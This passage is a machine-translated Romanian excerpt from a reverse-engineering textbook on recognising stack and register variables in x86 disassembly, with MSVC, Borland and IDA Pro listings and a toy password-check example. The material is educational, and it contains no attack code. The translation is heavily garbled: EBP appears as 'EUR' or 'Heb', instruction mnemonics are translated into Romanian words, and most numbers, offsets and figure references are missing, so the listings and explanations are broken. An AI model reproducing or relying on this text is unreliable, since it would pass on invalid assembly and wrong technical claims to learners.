variabile sunt globale, deoarece fiecare dintre ele este accesat direct de mai multe funcții Returnarea valorilor prin steagurile procesorului Este obișnuit ca majoritatea funcțiilor de asamblare să folosească registrul de steaguri al procesorului pentru a returna rezultatul succesului funcției Prin convenție, un set de indicatori de transport (cf) indică o eroare, al doilea cel mai popular steag este steag-ul zero (zf), iar celelalte steaguri practic nu sunt folosite deloc Indicatorul de transport este setat de comanda stc sau orice operație matematică care are ca rezultat o transportare (de exemplu, cmp a, b unde a // Funcția de raportare a erorilor de diviziune Egg(){ printf("-ERR: DIV prin Zero\n");} // Afișează rezultatul împărțirii pe ecran Ok(int a){printf("%x\n",a);} // Funcția de diviziune de asamblare // Împarte EAX la EBX, returnând coeficientul în EAX și restul în EDX // Setează indicatorul de transport la împărțirea la zero declspec(gol) MyFunc() asm{ xor edx,edx ; Resetați EDX, adică comanda div se așteaptă; divizibil în EDX:EAX Test ebx,ebx ; Verificarea divizorului pentru zero Jz err ; Dacă divizorul este zero, mergeți la ramura ou Div ebx ; Împărțiți EDX:EAX la EBX (EBX nu este, evident, egal cu zero) ret; Ieșire cu returnarea coeficientului în EAX și restul în EDX err: // Această ramură primește controlul când // încearcă să împartă la zero stc setează indicatorul de transport, semnalând o eroare și ret } ieșire // Wrapper pentru MyFunc // Acceptăm două argumente prin stivă - dividend și divizor // și afișează rezultatul împărțirii (sau un mesaj de eroare) pe ecran declspec(naked) MyFunc (int a, int b) { asm( Mutare eax,[esp+ ] ; Încărcarea conținutului argumentului „a” în EAX Mov ebx, [esp+ ] ; Încărcarea conținutului argumentului b' în EDX Apelați funcția mea; Încercarea de a împărți a/b ]ps ok ; Dacă indicatorul de transport este dezactivat, scoateți rezultatul, în caz contrar chemați ou; mesaj de eroare ret; Ne intoarcem BINE: Push eax ; Trecem rezultatul împărțirii și Sună Ok; o afisam pe ecran Adăugați esp, ; Curățăm teancul ret; Ne intoarcem main()[MyFunc ( , );} Capitolul Identificarea localului stiva de variabile Variabilele locale sunt alocate pe stivă (numită și memorie automată) și eliminate de acolo de funcția apelată când este terminată Să aruncăm o privire mai atentă la cum se întâmplă acest lucru Mai întâi, argumentele transmise funcției (dacă există) sunt împinse în stivă, iar adresa de retur este plasată deasupra lor, plasată acolo de instrucțiunea de apel care apelează această funcție După ce a primit controlul, funcția deschide cadrul stivei - salvează valoarea anterioară a registrului evr și o setează egală cu registrul esp (indicatorul de registru către partea de sus a stivei) „Deasupra” (adică la adresele inferioare) heb este zona liberă a stivei, dedesubt - date de serviciu (heb salvat, adresa de retur) și argumente Zona stivei situată deasupra indicatorului stivei (registru esp) nu este garantată împotriva suprascrierii și distorsiunii Poate fi folosit în mod liber, de exemplu, de către manipulatorii de întreruperi hardware apelați într-un loc imprevizibil la un moment imprevizibil b) Liber Liber ESP Local variabile Adresa expeditorului EURO Economisiți EUR Argumente Adresa expeditorului Argumente SUB ESP, x Orez Mecanismul de plasare a variabilelor locale pe stivă PUSH EUR/MOV EUR, ESP Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Și utilizarea stivei de către funcția în sine (pentru a salva registre sau a trece argumente) va duce la distorsiunea acesteia Care este calea de ieșire din această situație? - mutați forțat indicatorul superior al stivei în sus, „ocupând astfel” zona dată a stivei Siguranța memoriei situate „sub” esp este garantată împotriva distorsiunii neintenționate, deoarece următorul apel la instrucțiunea push va împinge datele în partea de sus a stivei fără a suprascrie variabilele locale La sfârșitul activității sale, funcția trebuie să revină la locul inițial, altfel funcția ret va elimina din stivă nu adresa de retur, ci ceva imprevizibil (valoarea variabilei locale „de sus” în sine) și controlul transferului „în spațiu” Mecanismul de plasare a variabilelor locale pe stivă este prezentat în fig Pe fig Figura (a) arată starea stivei la momentul apelării funcției Deschide cadrul stivei, păstrând registrul heb așa cum era și îl setează la esp Pe fig (b) arată rezervarea a x octeți de memorie stivă pentru variabilele locale Rezervarea se efectuează prin mutarea registrului esp „în sus” - în zona adreselor inferioare De fapt, variabilele locale sunt plasate pe stivă ca și cum ar fi fost încărcate acolo prin comanda push La sfârșitul activității sale, funcția crește valoarea registrului esp, revenind la poziția sa anterioară, eliberând astfel memoria ocupată de variabilele locale, apoi scoate stiva și restabilește valoarea evr, închizând astfel cadrul stivei Adresarea variabilelor locale Adresarea variabilelor locale este foarte asemănătoare cu abordarea argumentelor stivei , cu excepția faptului că argumentele sunt „dedesubt” Heb și variabilele locale sunt „de sus” Cu alte cuvinte, argumentele au offset-uri pozitive în raport cu eur, iar variabilele locale au offset-uri negative Prin urmare, sunt foarte ușor de distins unul de celălalt Deci, de exemplu, [Heb+xxx] - argument [Heb-xxx] - este o variabilă locală eu e z cinci -EUR ■ Mână EUR- EUR- EUR- EUR+ EUR+ EUR-OS EUR- EUR+OS *g Orez Adresarea variabilelor locale Această problemă a fost discutată în detaliu în Sect „Abordarea argumentelor pe stivă” în capitolul , „Identificarea argumentelor funcției” Capitolul Identificarea variabilelor stivei locale Registrul pointer cadru stivă servește ca o barieră: pe o parte a acestuia sunt argumentele funcției, iar pe cealaltă - variabilele locale (Fig ) Acum este clar de ce la deschiderea cadrului stivei, valoarea lui esp este copiată în heb, altfel adresarea variabilelor și argumentelor locale ar deveni mult mai complicată, iar dezvoltatorii de compilatoare nu vor să-și complice viața în mod inutil Cu toate acestea, compilatoarele de optimizare sunt capabile să abordeze variabilele și argumentele locale direct prin esp, eliberând registrul hev pentru scopuri mai utile Detalii despre implementarea tehnică Există multe variații în implementarea alocării și eliberării memoriei pentru variabilele locale S-ar părea, de ce este evident sub esp, xxx la intrare și adăugați esp, xxx la ieșire rău? Dar Borland C ++ (și alți compilatori), în efortul de a se distinge de toți ceilalți, își rezervă memoria nu prin scădere, ci prin creșterea, în special da, printr-un număr negativ (care implicit este afișat ca un număr pozitiv foarte mare de către majoritatea dezasamblatorilor) Optimizarea compilatoarelor, atunci când alocați o cantitate mică de memorie, înlocuiți sub cu push reg, care este cu câțiva octeți mai scurt Acesta din urmă creează probleme evidente de identificare - încercați, aflați-l, dacă salvăm registre pe stivă, sau transmitem argumente sau rezervăm memorie pentru variabilele locale Această problemă va fi discutată mai detaliat mai târziu în acest capitol, în secțiunea „Identificarea mecanismului de alocare a memoriei” Algoritmul de dealocare a memoriei este, de asemenea, ambiguu Pe lângă creșterea registrului de indicator al stivei cu instrucțiunea add esp, xxx (sau, în special în compilatoarele pervertite, creșterea acestuia cu un număr negativ), construcția moѵ esp, heb este adesea întâlnită (vă amintiți că atunci când deschideți cadrul stivei, esp a fost copiat în heb, iar heb în sine nu sa schimbat în timpul execuției funcției) În cele din urmă, memoria poate fi eliberată cu instrucțiunea pop, care introduce variabilele locale una câte una într-un registru care nu este necesar Desigur, această metodă se justifică doar cu un număr mic de variabile locale Cele mai comune opțiuni pentru implementarea rezervării de memorie pentru variabilele locale și eliberarea acesteia sunt enumerate în Tabel Tabelul Cele mai comune opțiuni pentru implementarea rezervării de memorie pentru variabilele locale și eliberarea acesteia Acțiune Opțiuni de implementare Rezervare memorie SUB ESP, XXX ADD ESP,-xxx PUSH reg Memorie liberă ADD ESP, XXX SUB ESP,-xxx POP reg MOV ESP, EBP Identificarea mecanismului de alocare (memorie Alocarea memoriei de către instrucțiunile secundare și de adăugare este consecventă și este întotdeauna interpretată fără ambiguitate Dacă alocarea memoriei se realizează prin comanda push, iar eliberarea prin comanda pop, atunci această construcție devine indistinguită de o simplă eliberare/salvare a registrelor pe stivă Situația este serios complicată de faptul că funcția conține și instrucțiuni „reale” de salvare a registrului care se îmbină cu instrucțiunile de alocare a memoriei Cum să aflu: câți octeți sunt rezervați pentru variabilele locale și dacă acestea sunt rezervate deloc (este, de asemenea, posibil să nu existe deloc variabile locale în funcție)? Acest tip de optimizare va fi discutat mai detaliat mai târziu în acest capitol, în secțiunea „Eliminarea indicatorului de cadru” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Răspunsul la această întrebare permite căutarea acceselor la celulele de memorie situate „deasupra” registrului heur, adică la celulele cu decalaje relative negative Luați în considerare cele două exemple prezentate în Lista : Listing L Try on", ilustrând determinarea numărului de octeți rezervați * > ; pentru variabilele locale PUSH EUR PUSH EUR PUSH ECX PUSH ECX xxx xxx XXX MOV [EUR- ], x xxx xxx POP ECX POP ECX ROR EUR ROR EUR RET RET În cea din stânga, nu are loc deloc acces la variabilele locale, iar în cea din dreapta, există construcția moѵ [Heb- ] , x , care copiază valoarea x în variabila locală var Și din moment ce există o variabilă locală, memoria trebuie să fie alocată acesteia de către cineva Deoarece instrucțiunile sub esp, xxx și add esp, xxx nu sunt respectate în corpul funcțiilor, „suspiciunea” cade pe push esx, deoarece conținutul salvat al registrului esx se află pe stiva de patru octeți „de mai sus” Heb În acest caz, o singură comandă este „suspectată” - push exx, deoarece push evr nu trage pe rolul unui „rezervor” Dar dacă există mai mulți „suspecți”? Puteți determina cantitatea de memorie alocată prin offset-ul celei mai „mai mari” variabile locale care poate fi găsită în corpul funcției Adică, după ce am găsit toate expresiile de tipul [ebp-xxx], alegem cel mai mare offset xxx - în cazul general, este egal cu numărul de octeți de memorie alocați pentru variabilele locale În cazuri particulare, există variabile locale declarate, dar neutilizate Li se alocă memorie (deși compilatoarele de optimizare aruncă pur și simplu astfel de variabile ca fiind inutile), dar nu sunt accesate niciodată, iar algoritmul pentru calcularea cantității de memorie rezervată descris mai sus dă un rezultat subestimat Cu toate acestea, această eroare nu afectează în niciun fel rezultatele analizei programului Inițializarea variabilelor locale Există două moduri de a inițializa variabilele locale: atribuirea unei valori dorite cu o instrucțiune mo (de exemplu, mo [Heb- ], x ) și împingerea directă a unei valori în stivă cu o instrucțiune push (de exemplu, push x ) Ultima opțiune vă permite să combinați în mod avantajos alocarea de memorie pentru variabilele locale cu inițializarea lor (desigur, doar dacă sunt puține dintre aceste variabile) Compilatoarele populare efectuează în mod covârșitor operația de inițializare cu mos, iar comanda push este mai tipică inserțiilor de asamblare, folosite, de exemplu, în mecanismele de apărare pentru a deruta un cercetător de program Cu toate acestea, trebuie remarcat faptul că, chiar dacă o astfel de tehnică derutează un hacker, acesta este doar un începător Plasarea tablourilor și structurilor Matricele și structurile sunt plasate secvenţial pe stiva în celulele de memorie adiacente, în timp ce indexul mai mic al elementului de matrice (element structural) se află la adresa inferioară Rețineți că, prin aceasta, indexul mai mic este adresat de unitatea de offset mai mare în raport cu registrul pointerului de cadru de stivă Acest lucru nu este surprinzător când vă amintiți că variabilele locale sunt abordate de offset-uri negative, deci [EVR- x ] > [EVR- x ] Capitolul Identificarea variabilelor locale de stivă La confuzie se adaugă faptul că Rio IDA omite semnul minus atunci când denumește variabilele locale Prin urmare, dintre două nume, să zicem, var și var u, variabila cu indicele mai mare se află la adresa inferioară Dacă var și var u sunt cele două capete ale matricei, atunci din obișnuință există o dorință involuntară de a pune var în cap și var în „coada” matricei, deși de fapt contrariul este adevărat! Alinierea stivei În unele cazuri, elementele unei structuri, o matrice și chiar doar variabilele individuale trebuie să fie localizate la mai multe adrese Dar valoarea indicatorului de vârf nu este predeterminată, iar compilatorul nu are informații despre aceasta Cum poate el, neștiind valoarea reală a indicatorului, să poată îndeplini această cerință? Da, este foarte simplu - va lua și va reseta biții inferioare de esp! Este ușor de demonstrat că dacă bitul cel mai puțin semnificativ este zero, atunci numărul este par Pentru a fi sigur că valoarea indicatorului stivei este divizibilă cu doi fără rest, este suficient să resetați bitul cel mai puțin semnificativ Resetând doi biți, obținem o valoare care este evident un multiplu de patru, trei - opt etc Resetarea biților în marea majoritate a cazurilor este efectuată de instrucțiunea și De exemplu, construcția and esp, ffffffo oferă valoarea lui esp, un multiplu de șaisprezece Cum a fost obținută această valoare? Traducem Oxfffffffo în formă binară, obținem - Vedeți - patru zerouri la sfârșit? Aceasta înseamnă că cei patru biți cei mai puțin semnificativi ai oricărui număr vor fi mascați și vor fi împărțiți fără rest la = Cum identifică IDA Pro variabilele locale Deși am întâlnit deja variabile locale de multe ori în exemplele anterioare, nu strica să o facem din nou Luați în considerare exemplul prezentat în Lista Lista Demonstrarea variabilelor locale #include #include int MyFunc(int a, int b) { int c; // Variabilă locală de tip int char x[ ] // Matrice (demonstrează aspectul // tablouri în memorie c=a+b; // Puneți suma argumentelor „a și „b” în „c” itoa(c,&x[ ], x ); // Convertiți suma lui „a” și „b” într-un șir printf("%x -= %s == ",c,&x[ ]); // Tipăriți șirul pe ecran returnează c,- } principal() { int a= x ; // Declarați variabilele locale „a” și „b” astfel încât int b= x ; // demonstrează mecanismul de inițializare a acestora // compilator int c[ ]; // Aceste trucuri sunt necesare pentru a preveni Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt // un compilator de optimizare pentru a plasa // variabila locală în register // Pentru că funcției printf i se trece un pointer către „c” și // pointerul către înregistrare nu poate fi trecut, // compilatorul este forțat să lase variabila în memorie c[ ]=MyFunc(a, b); printf("%x\n",&c[ ]) ; întoarce ; } Compilarea acestui exemplu cu compilatorul implicit Microsoft Visual C++ ar trebui să arate ca Lista - ; Lista Rezultatul compilării exemplului din Lista utilizând compilatorul Microsoft Visual C++ cu setări implicite MyFunc proc lângă COD XREF principal+lcXp var = octet ptr - h var = dword ptr - ; Variabilele locale sunt situate la un offset negativ relativ la ; EUR, iar argumentele funcției sunt pozitive Rețineți, de asemenea, că ce ; Cu cât variabila este „mai mare”, cu atât modulul deplasării sale este mai mare arg = dword ptr arg - dword ptr OCh împinge ebp mov ebp, e sp ; Deschiderea cadrului stivei sub esp, h ; Reduceți valoarea ESP cu x , rezervând x octeți pentru local ; variabile mov eax, [ebp+arg ] ; Încărcăm și EAX valoarea argumentului arg ; Faptul că acesta este un argument, și nu altceva, este indicat de pozitivul său ; compensare față de registrul EUR adăugați eax, [ebp+arg ] ; adăugați EAX cu valoarea argumentului arg mov[ebp+var ], eax ; Și aici este prima variabilă locală ; Faptul că aceasta este o variabilă locală este indicat de negativul acesteia ; compensare față de registrul EUR De ce negativ? ȘI ; vezi cum a definit IDA „vag ” ; Sincer să fiu, ar fi mult mai clar dacă negativ ; compensațiile variabilelor locale au fost subliniate mai explicit apăsați h; int Această problemă va fi discutată în detaliu în Capitolul , „Identificarea registrului și a variabilelor temporare” Capitolul Identificarea variabilelor stivei locale ; Transmitem valoarea x (tipul de sistem numeric) funcției Itoa lea eskh, [ebp+var ] ; Încărcați în ECX un pointer către variabila locală var ; Ce este această variabilă? Derulați puțin în sus ecranul dezasamblatorului, ; unde există o descriere a variabilelor locale recunoscute de IDA ; var = octet ptr - h ; var - dword ptr - ; Cea mai apropiată variabilă inferioară are un offset de - și var , ; respectiv, - Scăzând ultimul din primul obținem dimensiunea ; var Acesta, deoarece este ușor de calculat, va fi egal cu x ; Pe de altă parte, se știe că funcția Itoa se așteaptă la un pointer ; char* Astfel, într-un comentariu la var se poate scrie ; „char s[ x ]” Acest lucru se face astfel: în meniul „Editare”, deschideți submeniul ; „Funcții”, iar în el - elementul „Stiva variabile” sau apăsați pe „fierbinte” ; combinația + Se deschide o fereastră cu o listă a tuturor celor recunoscute ; variabile locale Mutați cursorul la „var ” și apăsați pentru ; introducerea unui comentariu repetat și scrierea ceva de genul „char s[ x ]” ; Acum apăsați + pentru a finaliza introducerea și pentru ; închide fereastra variabilelor locale Toata lumea! Acum, lângă toate apelurile către ; var apare comentariul pe care l-am introdus împinge ex ; char * ; Trecem un pointer la bufferul local var la funcția Itoa mov edx, [ebp+var ] ; Încărcăm valoarea variabilei locale var în EDX push edx ; int ; Transmitem valoarea variabilei locale var la funcția Itoa ; Pe baza prototipului acestei funcții, IDA a determinat deja tipul ; variabilă - int Apăsați din nou + și comentați pasul sună Itoa adăuga esp, OCh ; Traducem conținutul lui var într-un sistem numeric hexazecimal, ; scris sub formă de șir, returnând răspunsul ; în tamponul local al lui var lea eax, [ebp+var ] ; caractere[ x ] ; Încărcați în EAX un pointer către bufferul local var împinge max ; Treceți indicatorul la var la funcția printf pentru ieșire ; conținut de pe ecran mov ex, [ebp+var ] ; Copiați în ECX valoarea variabilei locale var împinge ex ; Transmitem valoarea variabilei locale var la funcția printf push offset aXS ; "%x == %s == " apelați printf adăuga esp, OCh Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt mov eax, [ebp+var ] ; Returnăm valoarea variabilei locale var în EAX mov esp, ebp ; Eliberarea memoriei ocupate de variabilele locale, pop ebp ; Restabilim valoarea anterioară de EUR retn MyFunc endp proc principal lângă ; COD XREF: start+AF|p var C = dword ptr -OCh var = dword ptr - var = dword ptr - împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp, OCh ; Rezervăm octeți de memorie OxC pentru variabilele locale mov [ebp-^var ], h ; Inițializam variabila locală var , ; atribuindu-i valoarea ohbbb mov[ebp+var ], h ; Inițializam variabila locală var , ; dându-i valoarea x ; Vezi: Variabilele locale sunt aranjate în memorie în ordine inversă ; apelurile lor la ei! Nu anunțuri, și anume contestații ; De fapt, ordinea de aranjare nu este întotdeauna exact aceeași, așa este ; depinde de compilator, deci nu ar trebui să te bazezi niciodată pe el mov eax, [ebp+var ] ; Copiem valoarea variabilei locale var în registrul EAX împinge max ; Transmitem valoarea variabilei locale var la funcția MyFunc mov ex, [ebp+var ] ; Copiați în ECX valoarea variabilei locale var împinge ex ; Transmitem la MyFunc valoarea variabilei locale var apelați MyFunc adăugați esp, ; Sunăm MyFunc mov [ebp+var C], eax Capitolul Identificarea variabilelor stivei locale ; Copiem valoarea returnată de funcție în variabila locală var C lea edx, [ebp+var C] ; Încărcăm indicatorul către variabila locală var C în EDX împinge edx ; Trecem un pointer către variabila locală var C funcției printf push offset asc ; „%x\n” apelați printf adăugați esp, xor eax, eax ; Returnează nul mov esp, ebp ; Eliberăm memoria ocupată de variabilele locale pop ebp ; Închideți cadrul stivei retn endp principal Nu foarte greu, nu? Ei bine, atunci luați în considerare rezultatul compilării aceluiași exemplu cu compilatorul Borland C++ - va fi puțin mai dificil (Listarea ) • Lista Rezultatul compilării exemplului din Lista - cu compilatorul Borland C++ MyFunc proc lângă COD XREF: main+ ip var - byte ptr - h ; Uite, doar o variabilă locală! Dar am anunțat întreg ; trei Unde s-au dus? Că le-a băgat vicleanul compilator ; înregistrează mai degrabă decât stiva pentru un acces mai rapid împinge ebp mov ebp, esp ; Deschiderea cadrului stivei adăugați esp, OFFFFFFCC ; Rezervați apăsați în IDA, transformând numărul într-unul semnat, ; Rezervăm x octeți pentru variabilele locale ; Primim „- ” Rețineți că de data aceasta alocarea memoriei ; efectuat nu SUB, ci ADD' împinge ebx ; Stocați EBX pe stivă sau alocați memorie variabilelor locale? ; Deoarece memoria a fost deja alocată de instrucțiunea ADD, în acest caz ; comanda PUSH salvează un registru pe stivă lea ebx, [edx+eax] Pentru mai multe informații, consultați Capitolul „Identificarea variabilelor de registru și temporare” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Și cu această adăugare dificilă, obținem suma EDX și EAX, ; Deoarece EAX și EDX nu au fost inițializate în mod explicit, evident, prin intermediul lor ; argumentele au fost transmise apăsați ore ; Trecem sistemul numeric selectat la funcția Itoa lea eax, [ebp+var ] ; Încărcați în EAX un pointer către bufferul local var împinge max ; Trecem funcției Itoa un pointer către un buffer pentru a scrie rezultatul împinge ebx ; Trecem suma (nu un pointer!) a două argumente la funcția MyFunc sună ltoa adăuga esp, OCh lea edx, [ebp+var ] ; Încărcăm pointerul către bufferul local var în EDX împinge edx ; Trecem indicatorul la bufferul local var la funcția printf, ; care conține rezultatul conversiei sumei argumentelor MyFunc într-un șir împinge ebx ; Trecem suma argumentelor la funcția MyFunc push offset aXS ,- format apelați printf adăugați esp, OCh mov eax, ebx ; Returnăm suma argumentelor din EAX pop ebx ; Scoateți EBX din stivă, restabilindu-i valoarea anterioară mov esp, ebp ; Eliberăm memoria ocupată de variabilele locale pop ebp ; Închideți cadrul stivei retn MyFunc endp ; int cdecl main(int argc,const char **argv,const char *envp) jnain proc lângă DATAXREF DATE: IO var = dword ptr - ; IDA a recunoscut cel puțin o variabilă locală − ; Să luăm notă de asta Argc = dword ptr Această problemă a fost discutată în detaliu în Capitolul , „Identificarea argumentelor funcției” Capitolul Identificarea variabilelor stivei locale Argv = dword ptr OCh Envp = dword ptr lOh împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx împinge ebx împinge esi ; Salvați registrele pe stivă muta esi, h ; Punem valoarea x in registrul ESI mov ebx, h ; Punem valoarea x în registrul EBX mov edx, esi mov eax, ebx ; Trecem argumente funcției MyFunc prin registre apelați MyFunc ; Sunăm MyFunc mov [ebp+var ] , eax ; Copiați rezultatul returnat de funcția MyFunc în local ; variabila var Stop! Ce variabilă locală?! Și cine este sub ; a alocat memorie?! Nu altfel - ca una dintre comenzile PUSH Dar ; care? Ne uităm la offset-ul variabilei - este cu patru octeți mai mare ; EUR, iar această zonă de memorie este ocupată de conținutul registrului salvat ; prima comandă PUSH după deschiderea cadrului stivei ; (În consecință, a doua comandă PUSH pune valoarea registrului la offset - ; aceasta d ) Și prima a fost comanda PUSH ECX - prin urmare, aceasta nu este ; salvarea unui registru pe stivă și rezervarea memoriei pentru local ; variabil Deoarece apelurile la variabilele locale var și var C ; nerespectate, comenzile PUSH EBX și PUSH ESI par ; păstrați registrele lea ex, [ebp+var ] ; Încărcați în ECX un pointer către variabila locală var împinge ex ; Trecem un pointer la var la funcția printf push offset asc ; format apelați printf adăugați esp, xor eax, eax ; Returnăm zero în EAX pop esi pop ebx ; Restaurarea valorilor registrelor ESI și EBX pop ecx Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Eliberați memoria alocată variabilei locale var pop ebp ; Închideți cadrul stivei retn , principal endp excepția indicatorului de cadru În mod tradițional, pentru adresarea variabilelor locale se folosește registrul Heb Având în vedere că există doar șapte registre de uz general, chiar nu vrem să dăm „permanent” unul dintre ele variabilelor locale Nu găsești altă soluție, mai elegantă? În această secțiune, ne vom uita la Frame Pointer Omission (FPO), o abordare care vă permite să utilizați orice registru de de biți ca index După o gândire atentă, vom ajunge la concluzia că un registru separat pentru adresarea variabilelor locale nu este deloc necesar - este suficient (nu fără trucuri, totuși) doar esp - indicatorul stivei Singura problemă este cadrul stivei plutitoare Lăsați după alocarea memoriei pentru variabilele locale, în special, punctele în partea de sus a regiunii selectate Apoi variabila buff (fig ) va fi localizată la adresa esp+Oxc Dar de îndată ce ceva este pus în stivă pentru stocare temporară (un argument al funcției apelate sau al unui registru), cadrul se va „strecura”, iar variabila buff nu va mai fi localizată la esp+Oxc, ci la esp + x ! Compilatoarele moderne sunt capabile să abordeze variabilele locale prin esp, urmărind dinamic valoarea acesteia (deși, cu condiția ca în corpul funcției să nu existe inserții de asamblare complicate care să schimbe valoarea esp într-un mod imprevizibil) Orez Adresarea variabilelor locale prin registrul esp are ca rezultat un cadru de stivă plutitor Capitolul Identificarea variabilelor stivei locale Acest lucru face extrem de dificilă studierea codului, deoarece nu mai este posibil, arătând cu degetul către un loc arbitrar din cod, să determinați ce variabilă locală este accesată - trebuie să „pieptănați” întreaga funcție, monitorizând cu atenție valoarea esp (și deseori căderea în greșeli grosolane care fac toată munca să meargă la scurgere) Din fericire, dezasamblatorul IDA Pro poate gestiona astfel de variabile, dar diferența dintre un hacker și un simplu muritor este că nu se bazează niciodată pe deplin pe automatizare, ci caută să înțeleagă cum funcționează! Luați în considerare exemplul simple c , care este cel mai simplu sistem de autentificare bazat pe o comparație caracter cu caracter a parolei introduse cu cea de referință (Listing ) Lista Cel mai simplu sistem de autentificare bazat pe ^compararea caracter cu caracter ' // Cel mai simplu sistem de autentificare // comparație de parole caracter cu caracter #include #include #define PASSWORD SIZE #define PASSWORD "inyGOODpassword\n" // această cratima este necesară pentru ca LLAL // să nu muște cratima din șirul // introdus de utilizator int main() // Contorul încercărilor de autentificare eșuate int count= ; // Buffer pentru parola introdusă de utilizator buff de caractere[PASSWORD SIZE]; // Bucla principală de autentificare pentru( ; ; ) { // Interogați și citiți utilizatorul // parola printf("Introduceți parola:"); fgets(&buff[ ],PASSWORD SIZE,stdin); // Comparați parola originală și cea introdusă dacă (strcmp(fcbuff[ ],PAROLA)) // Dacă parolele nu se potrivesc, „jurăm” printf(„Parolă greșită\n”); // Altfel (dacă parolele sunt identice) // ieși din bucla de autentificare altfel rupe; // Crește contorul încercărilor eșuate // autentificare și dacă toate încercările // epuizat - ieși din program dacă (++număr> ) returnează - ; // Deoarece suntem aici, utilizatorul a introdus parola corectă printf("Parola K\n"); Un program similar, dar scris în C++ am explorat în capitolul , „Încălzire” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Să compilam acest exemplu cu comutatorul / (optimizarea vitezei) Apoi compilatorul va încerca să folosească toate registrele și să abordeze variabilele locale prin esp, ceea ce ne dorim (Listarea ) Lista Rezultatul compilării exemplului din Lista cu comutatorul / (optimizare r • >cl sarrple c / ; Compilarea unui exemplu cu optimizarea vitezei : EU sub esp, h ; Alocam memorie pentru variabilele locale ; Vă rugăm să rețineți - acum nu mai există comenzi PUSH EBP \ MOV EBP, ESP' : AO mov al,[ ]; mișcare, : push ebx : push ebp A: push esi B: push edit Păstrarea registrelor С: mov byte ptr [esp+ h],al Setați valoarea zero la variabila locală [ESP+OxlO] (să-i spunem buff) : B mov ecx, h : CO xor eax, eax : D С lea edi,[esp+llh] Setați EDI la variabila locală [ESP+ xll] (buff de coadă neinițializat) B: împingere h ; "Introdu parola" ; Împingeți offset-ul șirului „Introduceți parola” pe stivă Atenție Registrul ESP accesează cu crawlere octeți „în sus” : F AB rep stos dword ptr [edi] : AB stos word ptr [edi] : EDxor ebp,ebp : AA stos byte ptr [edi] ; Reducerea la zero a tamponului : E F sunați la ; Afișarea șirului „Introduceți parola” pe ecran ; Atenţie! Argumentele încă nu sunt ; a ieșit din stivă! С: apăsați h ; Împingeți offset-ul indicatorului către indicatorul stdin pe stivă ; Atenţie! ESP încă crește cu patru octeți : D C lea ex,[esp+ h] ; Încărcăm indicatorul către variabila [ESP+ xl ] în ECX Un alt tampon? Nu! ; Aceasta ne este deja familiară variabila [ESP+ xl ], dar „și-a schimbat aspectul” din cauza ; ESP se modifică Dacă scadem octeți din x la care s-a crawlat ESP - obținem x , - ; adică vechiul nostru prieten - [ESP+ xl ]I O procedură minusculă de o duzină de rânduri nu este greu de „studiat”, dar pe un program de un milion de rânduri, poți să pierzi timpul fără scop și să nu obții niciun rezultat! In acest Capitolul Identificarea variabilelor stivei locale IDA Rio gestionează situația mult mai bine Rezultatul dezasamblarii acestui exemplu este prezentat în Lista ■ Listarea Rezultatul dezasamblarii codului optimizat din exemplu, : afișat în Lista folosind IDA Pro text: text: text: text: main proc near ; COD XREF: start+AF;p var = byte ptr - h var = byte ptr - h IDA a găsit două variabile locale situate în raport cu cadrul stivei la offset-urile și , de unde denumite respectiv: var și var text: text: text: text: text: A text: B text: C sub esp h mov al byte] ; IDA înlocuiește automat numele variabilei locale cu offset-ul său în ; cadru stiva text: text: text: mov ecx, h xor ax, eax lea edi, [esp+ h+var ] ; Desigur, IDA nu a putut recunoaște inițializarea primului octet al tamponului și ; din greșeală a luat-o drept o variabilă separată - dar aceasta nu este vina ei, dar ; compilator! Înțelegeți - câte variabile pot fi de fapt aici; doar barbatul' text: B text: text: text: text; text: text: C text: push offset a;EnterPaswords „Introduceți parola:’ repe stosd stosw xor ebp, ebp stosb call sub push offset off lea ecx, [esp+ Ch+var ] ; Atenție - IDA a recunoscut corect accesul la variabila noastră, ; deși offset-ul său - x C - este diferit de x ! Capitolul Înregistrați identitatea și variabile temporare Într-un efort de a minimiza numărul de accesări la memorie, compilatoarele de optimizare alocă variabilele locale cele mai utilizate în registrele de uz general, salvându-le în stivă doar atunci când este necesar (și, în mod ideal, nu le salvează deloc) Ce dificultăți creează acest lucru pentru analiză? În primul rând, optimizarea introduce o dependență de context în cod Deci, văzând în orice moment al funcției o comandă ca eax-ul meu, [EBP+var ], putem afirma cu încredere că conținutul variabilei var u este copiat în registrul eax aici Și ce este această variabilă? Acest lucru poate fi descoperit cu ușurință parcurgând corpul funcției pentru a găsi toate aparițiile lui var - acestea vor solicita atribuirea variabilei! Cu variabile de registru, această abordare nu va funcționa! Să presupunem că întâlnim instrucțiunea my eax,esi și vrem să urmărim toate accesele la variabila de registru esi Ce să faci, pentru că căutarea subșirului esi în corpul funcției nu va da nimic, cu excepția multor fals pozitive La urma urmei, același registru (esi în cazul nostru) poate fi folosit (și este folosit) pentru stocarea temporară a multor variabile diferite! Deoarece există doar șapte registre de uz general și, în plus, heb este „fixat” la indicatorul de cadru stivă, iar eax și edx la valoarea returnată a funcției, există doar patru registre potrivite pentru stocarea variabilelor locale Și în programele C++, vor fi și mai puține registre disponibile - unul dintre cele patru registre merge sub pointerul către tabelul virtual, iar celălalt merge sub pointerul către această instanță Lucruri rele! Cu două registre, nu poți să faci overclock cu adevărat, deoarece o funcție tipică conține zeci de variabile locale! Aici compilatorul folosește registre cache - numai în cazuri excepționale, fiecare variabilă locală se află în „propriul său” registru, cel mai adesea variabilele sunt împrăștiate aleatoriu în registre, uneori stocate pe stivă, fiind adesea împinse într-un registru complet diferit ( nu în cel al cărui conținut a fost salvat) Aproape toate dezasamblatoarele obișnuite (inclusiv IDA Pro) nu pot urmări „migrațiile” variabilelor de registru, iar această operație trebuie făcută manual Determinarea conținutului registrului de interes într-un punct arbitrar al programului este destul de simplă, deși plictisitoare - este suficient să rulați programul de la începutul funcției până în acest punct, urmărind toate operațiunile de transfer Este mult mai dificil să ne dăm seama câte variabile locale sunt stocate într-un registru dat Când un număr mare de variabile sunt mapate la un număr mic de registre, devine imposibil să se restabilească maparea în mod unic Iată, de exemplu: programatorul declară o variabilă a, compilatorul o plasează în registrul x După un timp, programatorul declară o variabilă b, iar dacă a nu se mai folosește 